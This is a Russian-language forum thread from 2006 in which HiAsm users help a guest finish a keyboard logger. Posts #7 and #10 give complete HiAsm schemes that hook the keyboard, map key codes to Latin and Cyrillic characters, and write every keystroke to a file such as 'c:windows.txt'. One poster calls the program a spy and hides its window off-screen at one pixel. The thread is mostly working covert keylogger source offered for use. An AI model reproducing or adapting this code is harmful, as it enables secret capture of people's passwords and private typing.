Вверх ↑
Этот топик читают: Гость
Гость
Ответов: 17029
Рейтинг: 0
#1: 2006-04-14 16:49:00 правка | ЛС | профиль | цитата


Редактировалось 1 раз(а), последний 2017-03-03 10:05:27
карма: 0

0
Ответов: 9906
Рейтинг: 351
#2: 2006-04-14 17:48:59 ЛС | профиль | цитата
Я собрал программу, но когда лог – файл становится большим, программа загружет процессор на 100% процентов.


И что из этого должно следовать
карма: 9

0
Ответов: 242
Рейтинг: 5
#3: 2006-04-14 19:39:00 ЛС | профиль | цитата
Не могу сказать точно, от чего это. Но если это не "фоновое приложение Windows" то можно попробовать вместо списка строк использовать Rich text editor, в скрытом режиме. Ничего не обещаю
карма: 0

0
Администрация
Ответов: 15295
Рейтинг: 1519
#4: 2006-04-15 02:54:00 ЛС | профиль | цитата
Я собрал программу, но когда лог – файл становится большим, программа загружет процессор на 100% процентов.

Думаю зависит от способа ведения лога

И ещё вопрос, какие функции в hook.dll, что бы можно было использовать его через другие программы.

Коммерческая тайна
карма: 27
0
Гость
Ответов: 17029
Рейтинг: 0
#5: 2006-04-15 17:05:00 правка | ЛС | профиль | цитата


Редактировалось 1 раз(а), последний 2017-03-03 10:05:27
карма: 0

0
Ответов: 3655
Рейтинг: 69
#6: 2006-04-15 17:44:59 ЛС | профиль | цитата
.p r o x y, Текст программы вставляется между тегами Code !!!
В таком виде её нельзя вставить в ХиАсм!
Почитай в справке.
карма: 0

0
Ответов: 8908
Рейтинг: 823
#7: 2006-04-15 20:19:59 ЛС | профиль | цитата
.p r o x y, ваш клавиатурный шпион слишком часто создаёт файлы!
Add(MainForm,177469,62,211)
{
Left=-100
Top=-100
Width=1
Height=1
Caption="getKey"
BorderStyle=0
TaskBar=1
DragForm=0
SavePosName="getKey"
MouseCapture=0
link(onDeactivate,11438455:doSave,[(163,224)(163,224)])
}
Add(StrList,11418219,167,111)
{
Strings=#8: Cht(0) |8: Cht(1) |8: Cht(2) |8: Cht(3) |8: Cht(4) |8: Cht(5) |8: Cht(6) |8: Cht(7) |12: %BackSpace |5: %Tab|9: Cht(10) |9: Cht(11) |9: Cht(12) |8: %Enter |9: Cht(14) |9: Cht(15) |8: %Shift |9: %Contrl |6: %Alt |7: %Pause|12: %Caps Lock |9: Cht(21) |9: Cht(22) |9: Cht(23) |9: Cht(24) |9: Cht(25) |9: Cht(26) |6: %ESC |9: Cht(28) |9: Cht(29) |9: Cht(30) |9: Cht(31) |1: |10: %Page Up |12: %Page Down |6: %End |7: %Home |13: %Left Arrow |11: %Up Arrow |14: %Right Arrow |13: %Down Arrow |9: Cht(41) |9: Cht(42) |9: Cht(43) |9: Cht(44) |9: %Insert |9: %Delete |9: Cht(47) |1:0|1:1|1:2|1:3|1:4|1:5|1:6|1:7|1:8|1:9|9: Cht(58) |9: Cht(59) |9: Cht(60) |9: Cht(61) |9: Cht(62) |9: Cht(63) |9: Cht(64) |1:ô|1:è|1:ñ|1:â|1:ó|1:à|1:ï|1:ð|1:ø|1:î|1:ë|1:ä|1:ü|1:ò|1:ù|1:ç|1:é|1:ê|1:û|1:å|1:ã|1:ì|1:ö|1:÷|1:í|1:ÿ|10: %LWindows|10: %RWindows|7: %Menu |9: Cht(94) |9: Cht(95) |8: %0 Ins |8: %1 End |15: %2 Down Arrow |14: %3 Page Down |15: %4 Left Arrow |3: %5|16: %6 Right Arrow |9: %7 Home |13: %8 Up Arrow |12: %9 Page Up |1:*|1:+|10: Cht(108) |1:-|8: %. Del |1:/|4: %F1|4: %F2|4: %F3|4: %F4|4: %F5|4: %F6|4: %F7|4: %F8|4: %F9|5: %F10|5: %F11|5: %F12|10: Cht(124) |10: Cht(125) |10: Cht(126) |10: Cht(127) |10: Cht(128) |10: Cht(129) |10: Cht(130) |10: Cht(131) |10: Cht(132) |10: Cht(133) |10: Cht(134) |10: Cht(135) |10: Cht(136) |10: Cht(137) |10: Cht(138) |10: Cht(139) |10: Cht(140) |10: Cht(141) |10: Cht(142) |10: Cht(143) |11: %Num Lock |14: %Scroll Lock |10: Cht(146) |10: Cht(147) |10: Cht(148) |10: Cht(149) |10: Cht(150) |10: Cht(151) |10: Cht(152) |10: Cht(153) |10: Cht(154) |10: Cht(155) |10: Cht(156) |10: Cht(157) |10: Cht(158) |10: Cht(159) |10: Cht(160) |10: Cht(161) |10: Cht(162) |10: Cht(163) |10: Cht(164) |10: Cht(165) |10: Cht(166) |10: Cht(167) |10: Cht(168) |10: Cht(169) |10: Cht(170) |10: Cht(171) |10: Cht(172) |10: Cht(173) |10: Cht(174) |10: Cht(175) |10: Cht(176) |10: Cht(177) |10: Cht(178) |10: Cht(179) |10: Cht(180) |10: Cht(181) |10: Cht(182) |10: Cht(183) |10: Cht(184) |10: Cht(185) |1:æ|1:=|1:á|1:-|1:þ|1:.|1:¸|10: Cht(194) |10: Cht(195) |10: Cht(196) |10: Cht(197) |10: Cht(198) |10: Cht(199) |10: Cht(200) |10: Cht(201) |10: Cht(202) |10: Cht(203) |10: Cht(204) |10: Cht(205) |10: Cht(206) |10: Cht(207) |10: Cht(208) |10: Cht(209) |10: Cht(210) |10: Cht(211) |10: Cht(212) |10: Cht(213) |10: Cht(214) |10: Cht(215) |10: Cht(216) |10: Cht(217) |10: Cht(218) |10: Cht(219) |1:õ|1:|1:ú|1:ý|10: Cht(224) |10: Cht(225) |10: Cht(226) |10: Cht(227) |10: Cht(228) |10: Cht(229) |10: Cht(230) |10: Cht(231) |10: Cht(232) |10: Cht(233) |10: Cht(234) |10: Cht(235) |10: Cht(236) |10: Cht(237) |10: Cht(238) |10: Cht(239) |10: Cht(240) |10: Cht(241) |10: Cht(242) |10: Cht(243) |10: Cht(244) |10: Cht(245) |10: Cht(246) |10: Cht(247) |10: Cht(248) |10: Cht(249) |10: Cht(250) |10: Cht(251) |10: Cht(252) |10: Cht(253) |10: Cht(254) |10: Cht(255) |9: Cht(256)|
}
Add(ArrayRW,4211,181,183)
{
link(onRead,11438455:doAdd,[])
link(Array,11418219:Array,[])
}
Add(KeyHook,12916449,133,183)
{
link(onKeyDown,4211:doRead,[(173,189)(173,189)])
}
Add(StrList,11438455,231,183)
{
FileName="c:windows.txt"
}
файл создаётся один при обнаружении и закрытии шпиона. :)
карма: 19

0
Гость
Ответов: 17029
Рейтинг: 0
#8: 2006-04-15 20:21:00 правка | ЛС | профиль | цитата


Редактировалось 1 раз(а), последний 2017-03-03 10:05:28
карма: 0

0
Гость
Ответов: 17029
Рейтинг: 0
#9: 2006-04-15 20:32:59 правка | ЛС | профиль | цитата


Редактировалось 1 раз(а), последний 2017-03-03 10:05:28
карма: 0

0
Ответов: 9906
Рейтинг: 351
#10: 2006-04-15 20:53:00 ЛС | профиль | цитата
Кстати, HiAsm никого не заставляет использовать для логических операций визуальные контролы.

И добиваться особо ничего не надо особо.....
Add(MainForm,5902902,147,28)
{
Width=50
Height=50
Caption="getKey"
BorderStyle=0
TaskBar=1
DragForm=0
Visible=1
SavePosName="getKey"
MouseCapture=0
Point(onClose)
link(onCreate,3875316:doOpen,[])
link(onClose,3875316:doClose,[])
}
Add(StrList,11418219,98,35)
{
Strings=#8: Cht(0) |8: Cht(1) |8: Cht(2) |8: Cht(3) |8: Cht(4) |8: Cht(5) |8: Cht(6) |8: Cht(7) |12: %BackSpace |5: %Tab|9: Cht(10) |9: Cht(11) |9: Cht(12) |8: %Enter |9: Cht(14) |9: Cht(15) |8: %Shift |9: %Contrl |6: %Alt |7: %Pause|12: %Caps Lock |9: Cht(21) |9: Cht(22) |9: Cht(23) |9: Cht(24) |9: Cht(25) |9: Cht(26) |6: %ESC |9: Cht(28) |9: Cht(29) |9: Cht(30) |9: Cht(31) |1: |10: %Page Up |12: %Page Down |6: %End |7: %Home |13: %Left Arrow |11: %Up Arrow |14: %Right Arrow |13: %Down Arrow |9: Cht(41) |9: Cht(42) |9: Cht(43) |9: Cht(44) |9: %Insert |9: %Delete |9: Cht(47) |1:0|1:1|1:2|1:3|1:4|1:5|1:6|1:7|1:8|1:9|9: Cht(58) |9: Cht(59) |9: Cht(60) |9: Cht(61) |9: Cht(62) |9: Cht(63) |9: Cht(64) |1:ф|1:и|1:с|1:в|1:у|1:а|1:п|1:р|1:ш|1:о|1:л|1:д|1:ь|1:т|1:щ|1:з|1:й|1:к|1:ы|1:е|1:г|1:м|1:ц|1:ч|1:н|1:я|10: %LWindows|10: %RWindows|7: %Menu |9: Cht(94) |9: Cht(95) |8: %0 Ins |8: %1 End |15: %2 Down Arrow |14: %3 Page Down |15: %4 Left Arrow |3: %5|16: %6 Right Arrow |9: %7 Home |13: %8 Up Arrow |12: %9 Page Up |1:*|1:+|10: Cht(108) |1:-|8: %. Del |1:/|4: %F1|4: %F2|4: %F3|4: %F4|4: %F5|4: %F6|4: %F7|4: %F8|4: %F9|5: %F10|5: %F11|5: %F12|10: Cht(124) |10: Cht(125) |10: Cht(126) |10: Cht(127) |10: Cht(128) |10: Cht(129) |10: Cht(130) |10: Cht(131) |10: Cht(132) |10: Cht(133) |10: Cht(134) |10: Cht(135) |10: Cht(136) |10: Cht(137) |10: Cht(138) |10: Cht(139) |10: Cht(140) |10: Cht(141) |10: Cht(142) |10: Cht(143) |11: %Num Lock |14: %Scroll Lock |10: Cht(146) |10: Cht(147) |10: Cht(148) |10: Cht(149) |10: Cht(150) |10: Cht(151) |10: Cht(152) |10: Cht(153) |10: Cht(154) |10: Cht(155) |10: Cht(156) |10: Cht(157) |10: Cht(158) |10: Cht(159) |10: Cht(160) |10: Cht(161) |10: Cht(162) |10: Cht(163) |10: Cht(164) |10: Cht(165) |10: Cht(166) |10: Cht(167) |10: Cht(168) |10: Cht(169) |10: Cht(170) |10: Cht(171) |10: Cht(172) |10: Cht(173) |10: Cht(174) |10: Cht(175) |10: Cht(176) |10: Cht(177) |10: Cht(178) |10: Cht(179) |10: Cht(180) |10: Cht(181) |10: Cht(182) |10: Cht(183) |10: Cht(184) |10: Cht(185) |1:ж|1:=|1:б|1:-|1:ю|1:.|1:ё|10: Cht(194) |10: Cht(195) |10: Cht(196) |10: Cht(197) |10: Cht(198) |10: Cht(199) |10: Cht(200) |10: Cht(201) |10: Cht(202) |10: Cht(203) |10: Cht(204) |10: Cht(205) |10: Cht(206) |10: Cht(207) |10: Cht(208) |10: Cht(209) |10: Cht(210) |10: Cht(211) |10: Cht(212) |10: Cht(213) |10: Cht(214) |10: Cht(215) |10: Cht(216) |10: Cht(217) |10: Cht(218) |10: Cht(219) |1:х|1:|1:ъ|1:э|10: Cht(224) |10: Cht(225) |10: Cht(226) |10: Cht(227) |10: Cht(228) |10: Cht(229) |10: Cht(230) |10: Cht(231) |10: Cht(232) |10: Cht(233) |10: Cht(234) |10: Cht(235) |10: Cht(236) |10: Cht(237) |10: Cht(238) |10: Cht(239) |10: Cht(240) |10: Cht(241) |10: Cht(242) |10: Cht(243) |10: Cht(244) |10: Cht(245) |10: Cht(246) |10: Cht(247) |10: Cht(248) |10: Cht(249) |10: Cht(250) |10: Cht(251) |10: Cht(252) |10: Cht(253) |10: Cht(254) |10: Cht(255) |
}
Add(ArrayRW,4211,112,112)
{
link(onRead,5918990:doPut,[])
link(Array,11418219:Array,[])
}
Add(KeyHook,12916449,49,112)
{
link(onKeyDown,4211:doRead,[])
}
Add(FileStream,3875316,203,63)
{
FileName="Key.log"
Mode=2
}
Add(DataToFile,5918990,203,112)
{
Type=7
link(Stream,3875316:Stream,[])
}
карма: 9

0
Гость
Ответов: 17029
Рейтинг: 0
#11: 2006-04-15 21:04:59 правка | ЛС | профиль | цитата


Редактировалось 1 раз(а), последний 2017-03-03 10:05:28
карма: 0

0
Ответов: 8908
Рейтинг: 823
#12: 2006-04-15 21:42:00 ЛС | профиль | цитата
.p r o x y, выделите элемент MainForm, нажмите Ctrl+G, увидите заявленные свойства формы, допишите в разделе Method строку (шаг вправо - попытка к бегству!):
onClose=Событие происходит всякий раз при закрытие формы|2|
сохраните и перезагрузите HiAsm, и будет Вам счастье в виде точки onClose.
карма: 19

0
12
Сообщение
...
Прикрепленные файлы
(файлы не залиты)